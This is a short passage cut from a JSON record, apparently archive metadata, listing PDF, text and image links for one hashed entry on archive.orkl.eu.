		"pdf": "https://archive.orkl.eu/fd049bf198425ac78ea3602ff35173c9af68c272.pdf",
		"text": "https://archive.orkl.eu/fd049bf198425ac78ea3602ff35173c9af68c272.txt",
		"img": "https://archive.orkl.eu/fd049bf198425ac78ea3602ff35173c9af68c272.jpg"
	}
}